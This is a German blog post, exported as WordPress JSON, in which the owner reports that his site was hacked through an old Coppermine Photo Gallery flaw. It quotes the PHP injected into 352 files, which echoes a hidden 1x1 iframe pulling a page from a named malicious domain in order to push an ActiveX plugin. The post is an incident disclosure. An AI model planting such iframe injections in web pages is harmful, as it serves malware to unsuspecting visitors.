{"id":456,"date":"2008-04-17T10:33:37","date_gmt":"2008-04-17T08:33:37","guid":{"rendered":"http:\/\/www.navision-blog.de\/2008\/04\/17\/navision-blogde-wurde-ziel-eines-hackerangriffs\/"},"modified":"2008-04-18T10:16:52","modified_gmt":"2008-04-18T08:16:52","slug":"navision-blogde-wurde-ziel-eines-hackerangriffs","status":"publish","type":"post","link":"http:\/\/www.navision-blog.de\/blog\/2008\/04\/17\/navision-blogde-wurde-ziel-eines-hackerangriffs\/","title":{"rendered":"Navision-Blog.de wurde Ziel eines Hackerangriffs"},"content":{"rendered":"

Seit gestern Nachmittag war der Navision-Blog eine zeitlang tot, da er Opfer eines Hackerangriffs war. Offenbar wurde eine Schwachstelle (Exploit “Coppermine Photo Gallery <= 1.4.3 remote commands execution”<\/a>) in der Coppermine Gallery<\/a> ausgenutzt. Im Ergebnis wurden min. 352 Dateien manipuliert. Diese sorgten dafür das beim Anschauen der Seite mit dem Internet Explorer über einen iFrame ein ActiveX-Plugin nachgeladen werden sollte. Ich kenne die Auswirkungen des “Plugins” nicht, aber ich hoffe das hat keiner installiert.<\/p>\n

Die betroffenen Dateien sahen alle ungefähr so aus:<\/p>\n

\n

<?php
if($GLOBALS[“fx”]==0) {
$GLOBALS[“fx”]=1;
echo “<iframe src=’http:\/\/ccf
elomvhk.co
m\/dl\/adv542
.php’ width=1 height=1><\/iframe>”;
}
?><?php
if($GLOBALS[“fx”]==0) {
$GLOBALS[“fx”]=1;
echo “<iframe src=’http:\/\/ccf
elomvhk.co
m\/dl\/adv542
.php’ width=1 height=1><\/iframe>”;
}
?><\/p>\n<\/blockquote>\n

Die kryptische Url bedeutet: http:\/\/ccfelomvhk.com\/dl\/adv542.php<\/strong><\/p>\n

Ich habe jetzt erst einmal eine Sicherung eingespielt und versuche die Coppermine Gallery zu updaten. Ich bin ja selber schuld: Ich habe versucht mein WordPress immer aktuell zu halten, aber an die Gallery habe ich nicht gedacht. Die hat noch eine uralte Versionsnummer.<\/p>\n

Weitere Informationen:<\/p>\n